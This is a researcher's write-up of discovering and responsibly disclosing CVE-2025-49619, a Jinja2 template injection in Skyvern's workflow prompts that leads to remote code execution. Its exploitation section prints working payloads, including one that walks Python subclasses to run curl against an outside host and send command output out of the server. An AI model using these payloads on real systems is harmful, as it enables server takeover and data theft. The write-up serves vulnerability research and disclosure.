Discovering CVE-2025-49619
CVE-2025-49619 - RCE via SSTI when running Skyvern workflow
Discovering CVE-2025-49619
Hello guys! Today I will make this post about how I discovered my first CVE, more exactly CVE-2025-49619, how to exploit it and mitigations.
CVE-2025-49619 is about how a server-side template injection (SSTI) vulnerability in Skyvern’s workflow edit mode allows authenticated users to inject Jinja2 expressions into the Prompt field of certain blocks (such as Navigation v2). These expressions are rendered unsafely, leading to blind remote code execution (RCE) on the server.
1. Discovery process
I found out about Skyvern during my internship, where we approached the topic of developer workflows automation using AI. Basically, Skyvern is an app that can be ran locally and also using the cloud version. It is also a very good tool for doing workflow automations. It can scrape websites, complete forms, log into sites and other great things that impressed me.
While exploring the application, I had to work with something called Workflow, also mentioned before. A workflow is formed from a set of steps that a user assembles in a very easy manner, for example Go to website -> Get some data -> Parse to JSON format -> Email JSON data
. This is basically a 4 step workflow, which I can assemble in Skyvern using some kind of building blocks.
I was working on creating some workflow that extracted some data from an Excel file on the Internet, and then went to a website to complete a form. To do this I needed to chain some components called blocks and one block had to use data from the previous block for its operations.
This is how the workflow edit mode and blocks look.
In the photo below, where I zoomed in a little, we can see that template expressions can be used.
During my workflow testing, I didn’t think one second about the possibility of SSTI being there. I went on with my task, I got the workflow working and I was staying in front of the PC thinking ‘What do I do know?’. The day passed and the next day it hit me: “Let’s try some payloads and see if SSTI is triggered”
A classic method to test for SSTI is to use the polyglot payload. Here’s an article to read more about SSTI:
1
${{<%[%'"}}%\.
Using the polyglot instead of the block_output
variable, I ran the workflow and I got an error related to Jinja. SSTI was very possible now. But, did I get RCE?
2. Exploiting the vulnerability
Before creating a new workflow for faster testing, I wanted to try another payload for additional confirmation.
1
{{ '7' * 7 }}, if executed results in '7777777'
I ran the workflow and the result was very interesting and properly confirmed SSTI, my input was not sanitized and when parsed by Jinja it executed the expression and returned its result.
Next step was to run proper code on the underlying system and I was able to do that not only locally, but also on the remote version of Skyvern, which was a real problem.
I tried more payloads with basic Linux commands, like running id
or ls
, but at that moment I didn’t get the output of the command, meaning there may be blind RCE. So, I tried the reliable HTTP request to my server using curl.
Before that I created a new workflow, added the block which had the option to add a prompt and tried testing different payloads that didn’t show an error. One of the working payloads was found in the article above, it worked very well and I just used it.
1
2
3
4
5
{% for x in ().__class__.__base__.__subclasses__() %}
{% if 'warning' in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen("curl http://192.168.100.179:11111/$(id)").read() }}
{% endif %}
{% endfor %}
Running the workflow resulted in my server receiving HTTP requests, which showed that code is executed.
I moved on with testing the application remotely. I did the same tests as on my local version and I succesfully got a shell into the container that the app was running in.
Below are my Youtube videos where I exploit the vulnerability on the remote app:
Skyvern SSTI to blind RCE short PoC
Skyvern SSTI to blind RCE Explanation + PoC
3. Mitigation and other information
Shortly after discovering the vulnerability, I conctacted Skyvern’s owners using Discord and also created a vulnerability report on Github. They responded quickly, understood the extent of the problem and fixed it very fast. Here’s the commit of the fix: https://github.com/Skyvern-AI/skyvern/commit/db856cd8433a204c8b45979c70a4da1e119d949d
The vulnerability was discovered on June 2nd 2025, being in both versions of Skyvern local and cloud. Checking when the line related to importing Jinja was added using git log -S'from jinja2 import Template' -- skyvern/forge/sdk/workflow/models/block.py
we get the following output:
1
2
3
4
5
commit 8760b967fdb74d4ee20d07c121a51d40276c13a2
Author: LawyZheng <[email protected]>
Date: Wed Nov 27 15:19:34 2024 +0800
use jinja template for workflow parameter (#1272)
We can deduce that the SSTI may have been there for quite some time, but still to say exactly I’m yet to research more, which is actually not the point of this article and is up to the maintainer to figure that out. I was just a simple security researcher in this situation that enjoyed finding this vulnerability.
Overall, we can just say that the vulnerability affected versions <= 0.1.85.
Conclusion
This is a Remote Code Execution (RCE) vulnerability via Server-Side Template Injection (SSTI). Any user who can edit a workflow with prompt-based inputs can execute system commands on the underlying server. If exploited by a malicious tenant or external user, this can lead to full system compromise, data exfiltration, or lateral movement in a multi-tenant setup.
Fortunately, the maintainers worked very well and fast to solve the problem, showing they care about their app and users, thing that can be seen in how impressive their product is. I want to close by saying that I’m very proud this was my first CVE and I was able to contribute to the security of an emerging app with a lot of potential in the future.
Disclosure Timeline
- Discovery Date: June 2nd 2025
- Report to vendor data: June 2nd 2025
- Vulnerability fix: June 3rd 2025
- Assigned CVE: June 7th 2025
References
This post is licensed under CC BY 4.0 by the author.